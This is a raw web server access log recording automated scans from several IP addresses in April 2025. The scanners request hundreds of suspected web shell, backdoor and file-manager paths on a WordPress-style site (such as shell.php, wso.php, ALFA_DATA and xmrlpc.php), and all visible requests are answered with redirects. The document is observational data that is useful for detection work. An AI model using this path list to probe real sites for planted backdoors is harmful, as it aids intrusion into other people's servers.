795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:59 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:49:59 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:00 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:00 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:00 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:01 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:01 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:02 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:02 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:03 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:05 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:05 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:06 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:06 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:07 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:08 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:08 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:09 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:09 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:10 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:11 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:12 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:13 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:13 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:14 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:14 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:15 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:16 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:16 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:17 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:17 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:18 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:18 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:19 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:20 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:21 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:21 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:22 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:23 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:23 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:24 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:25 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:25 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:26 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:27 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:27 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:27 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:28 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:28 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:28 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:29 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:29 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:30 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:30 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:30 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:31 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:32 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:32 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:32 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:33 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:33 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:34 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:34 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:35 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:35 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:36 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:36 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:36 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:37 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:37 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:37 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:38 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:38 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:39 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:39 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:40 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:40 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:41 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:41 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:42 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:42 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:42 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:42 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:43 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:43 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:44 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:45 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:45 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:46 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:46 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:46 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:47 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:47 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:48 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:48 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:49 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:49 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:50 -0400] "GET /wp-content/plugins/dazmhjz/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:50 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:51 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:51 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:52 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:52 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:53 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:54 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.82.177.167 - - [10/Apr/2025:17:50:55 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 40.70.66.203 - - [10/Apr/2025:18:05:43 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:46 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:47 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:48 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:49 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:50 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:50 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:51 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:51 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.66.203 - - [10/Apr/2025:18:05:52 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 14.215.163.132 - - [10/Apr/2025:18:30:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 135.125.27.249 - - [10/Apr/2025:18:36:37 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:38 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:40 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:41 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:43 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:45 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:46 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:48 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:49 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:51 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:52 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:54 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:56 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:57 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:36:59 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:00 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:02 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:03 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:05 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:07 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:08 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:09 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:11 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:12 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:14 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:15 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:16 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:18 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:19 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:20 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:22 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:24 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:25 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:27 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:28 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:30 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:32 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:34 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:35 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:37 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:39 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:41 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:43 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:45 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:46 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:49 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [10/Apr/2025:18:37:51 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - 